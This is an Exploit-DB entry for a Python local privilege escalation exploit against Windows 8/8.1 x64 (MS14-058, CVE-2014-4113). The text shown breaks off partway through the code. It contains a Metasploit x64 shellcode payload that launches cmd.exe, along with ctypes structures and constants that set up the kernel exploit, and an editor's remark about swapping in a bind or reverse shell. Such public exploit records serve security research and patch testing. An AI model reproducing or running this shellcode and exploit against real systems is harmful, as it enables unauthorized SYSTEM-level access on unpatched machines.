Exploit-DB #37064
Description: Microsoft Windows 8.0/8.1 (x64) - 'TrackPopupMenu' Local Privilege Escalation (MS14-058)
Type: local
Platform: windows_x86-64
Date: 2015-05-19
Author: ryujin

Exploit:
# Windows 8.0 - 8.1 x64 TrackPopupMenu Privilege Escalation (MS14-058)
# CVE-2014-4113 Privilege Escalation
# http://www.offensive-security.com
# Thx to Moritz Jodeit for the beautiful writeup 
# http://www.exploit-db.com/docs/35152.pdf 
# Target OS Windows 8.0 - 8.1 x64
# Author: Matteo Memelli ryujin <at> offensive-security.com

# EDB Note: Swapping the shellcode for a bind or reverse shell will BSOD the machine.

from ctypes import *
from ctypes.wintypes import *
import struct, sys, os, time, threading, signal

ULONG_PTR = PVOID = LPVOID
HCURSOR = HICON
PDWORD = POINTER(DWORD)
PQWORD = POINTER(LPVOID)
LRESULT = LPVOID
UCHAR = c_ubyte
QWORD = c_ulonglong
CHAR = c_char
NTSTATUS = DWORD
MIIM_STRING  = 0x00000040
MIIM_SUBMENU = 0x00000004 
WH_CALLWNDPROC = 0x4
GWLP_WNDPROC = -0x4
NULL = 0x0
SystemExtendedHandleInformation = 64
ObjectDataInformation = 2
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_BUFFER_OVERFLOW = 0x80000005L
STATUS_INVALID_HANDLE = 0xC0000008L
STATUS_BUFFER_TOO_SMALL = 0xC0000023L
STATUS_SUCCESS = 0
TOKEN_ALL_ACCESS = 0xf00ff
DISABLE_MAX_PRIVILEGE = 0x1
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM  = ( 0x1000 | 0x2000 )
TH32CS_SNAPPROCESS = 0x02

WinFunc1 = WINFUNCTYPE(LPVOID, INT, WPARAM, LPARAM)
WinFunc2 = WINFUNCTYPE(HWND, LPVOID, INT, WPARAM, LPARAM)
WNDPROC  = WINFUNCTYPE(LPVOID, HWND, UINT, WPARAM, LPARAM)

bWndProcFlag = False
bHookCallbackFlag = False
EXPLOITED = False
Hmenu01 = Hmenu02 = None

# /*
#  * windows/x64/exec - 275 bytes
#  * http://www.metasploit.com
#  * VERBOSE=false, PrependMigrate=false, EXITFUNC=thread,
#  * CMD=cmd.exe
#  */
SHELLCODE = (
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
"\x2e\x65\x78\x65\x00")

class LSA_UNICODE_STRING(Structure):
    """Represent the LSA_UNICODE_STRING on ntdll."""
    _fields_ = [
        ("Length", USHORT),
        ("MaximumLength", USHORT),
        ("Buffer", LPWSTR),
    ]

class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
    """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""
    _fields_ = [
        ("Object", PVOID),
        ("UniqueProcessId", PVOID),
        ("HandleValue", PVOID),
        ("GrantedAccess", ULONG),
        ("CreatorBackTraceIndex", USHORT),
        ("ObjectTypeIndex", USHORT),
        ("HandleAttributes", ULONG),
        ("Reserved", ULONG),
    ]
 
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
    """Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""
    _fields_ = [
        ("NumberOfHandles", PVOID),
        ("Reserved", PVOID),
        ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
    ]

class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):
    """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll."""
    _fields_ = [
        ("Name", LSA_UNICODE_STRING),
        ("Reserved", ULONG * 22),
    ]
    
class MENUITEMINFO(Structure):
    """Contains information about a menu item."""
    _fields_ = [
        ("cbSize"       , UINT),
        ("fMask"        , UINT),
        ("fType"        , UINT),
        ("fState"       , UINT),
        ("wID"          , UINT),
        ("hSubMenu"     , HMENU),
        ("hbmpChecked"  , HBITMAP),
        ("hbmpUnchecked", HBITMAP),
        ("dwItemData"   , ULONG_PTR),
        ("dwTypeData"   , LPWSTR),
        ("cch"          , UINT),
        ("hbmpItem"     , HBITMAP),
    ]

class WNDCLASS(Structure):
    """Contains the window class attributes that are registered by the 
       RegisterClass function."""
    _fields_ = [
        ("style"        , UINT),
        ("lpfnWndProc"  , WNDPROC),
        ("cbClsExtra"   , INT),
        ("cbWndExtra"   , INT),
        ("hInstance"    , HINSTANCE),
        ("hIcon"        , HCURSOR),
        ("hCursor"      , HBITMAP),
        ("hbrBackground", HBRUSH),
        ("lpszMenuName" , LPWSTR),
        ("lpszClassName", LPWSTR),
    ]
    
class PROCESSENTRY32(Structure):
    """Describes an entry from a list of the processes residing in the system
       address space when a snapshot was taken."""
    _fields_ = [ ( 'dwSize' , DWORD ) ,
                 ( 'cntUsage' , DWORD) ,
                 ( 'th32ProcessID' , DWORD) ,
                 ( 'th32DefaultHeapID' , POINTER(ULONG)) ,
                 ( 'th32ModuleID' , DWORD) ,
                 ( 'cntThreads' , DWORD) ,
                 ( 'th32ParentProcessID' , DWORD) ,
                 ( 'pcPriClassBase' , LONG) ,
                 ( 'dwFlags' , DWORD) ,
                 ( 'szExeFile' , CHAR * MAX_PATH ) 
    ]
    
user32                                      = windll.user32
kernel32                                    = windll.kernel32
ntdll                                       = windll.ntdll
advapi32